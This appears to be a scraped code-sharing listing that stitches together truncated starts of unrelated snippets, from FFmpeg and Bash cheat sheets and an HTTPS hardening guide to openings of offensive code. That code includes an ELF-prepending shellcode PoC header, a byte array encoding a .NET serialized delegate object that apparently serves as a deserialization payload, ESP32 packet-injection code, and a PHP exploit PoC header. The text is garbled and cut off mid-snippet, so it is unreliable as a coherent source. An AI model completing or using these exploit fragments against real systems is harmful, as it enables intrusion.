shekk shekkbuilder

FFmpeg cheat sheet

A list of useful commands for the FFmpeg command line tool.

Download FFmpeg: https://www.ffmpeg.org/download.html

Full documentation: https://www.ffmpeg.org/ffmpeg.html

Basic conversion

Download Audio from YouTube

-i - ignore errors

-c - continue

-t - use video title as file name

--extract-audio - extract audio track

Bash scripting cheatsheet

by Lee2sman
Updated 2017-09-18

Bash shebang

#!/usr/bin/env bash for portability, or less good, #!/bin/bash

Commenting

How to recover lost Python source code if it's still resident in-memory

I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6

Attach a shell to the docker container

Install GDB (needed by pyrasite)

apt-get update && apt-get install gdb

OverEncrypt

This is a guide that I wrote to improve the default security of my website https://fortran.io , which has a certificate from LetsEncrypt. I'm choosing to improve HTTPS security and transparency without consideration for legacy browser support.

WARNING: if you mess up settings, lose your certificates, or decide to no longer maintain HTTPS certs, these steps can and will make your domain inaccessible.

I would recommend these steps only if you have a specific need for information security, privacy, and trust with your users, and/or maintain a separate secure.example.com domain which won't mess up your main site. If you've been thinking about hosting a site on Tor, then this might be a good option, too.

The best resources that I've found for explaining these steps are https://https.cio.gov , https://certificate-transparency.org , and https://twitter.com/konklone

	;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
	;;;
	;;; Copyright (C), zznop, [email protected]
	;;;
	;;; This software may be modified and distributed under the terms
	;;; of the MIT license. See the LICENSE file for details.
	;;;
	;;; DESCRIPTION
	;;;
	;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF

	obj-m += lkm_hello1.o
	KDIR ?= /lib/modules/$(shell uname -r)/build

	all:
	make -C $(KDIR) M=$(PWD) modules

	clean:
	make -C $(KDIR) M=$(PWD) clean


	var serialized_obj = [
	0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
	101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
	101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
	68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
	103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
	122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
	101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,

	// Espressif ESP32 promiscuous mode and packet injection experiments
	// by brainstorm at nopcode org

	#include "freertos/FreeRTOS.h"
	#include "esp_wifi.h"
	#include "esp_wifi_internal.h"
	#include "lwip/err.h"
	#include "esp_system.h"
	#include "esp_event.h"
	#include "esp_event_loop.h"

	<?php
	/*
	Updated version, 2016-12-02: fixed shellcode so it actually works on QEMU
	usermode emulation (seems I pushed an old version), and removed debug output.

	-------------------------

	NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION!
	If anyone wants to fix this, go ahead (no pun intended).
	However, I don't have a vulnerable product and am unwilling to acquire one.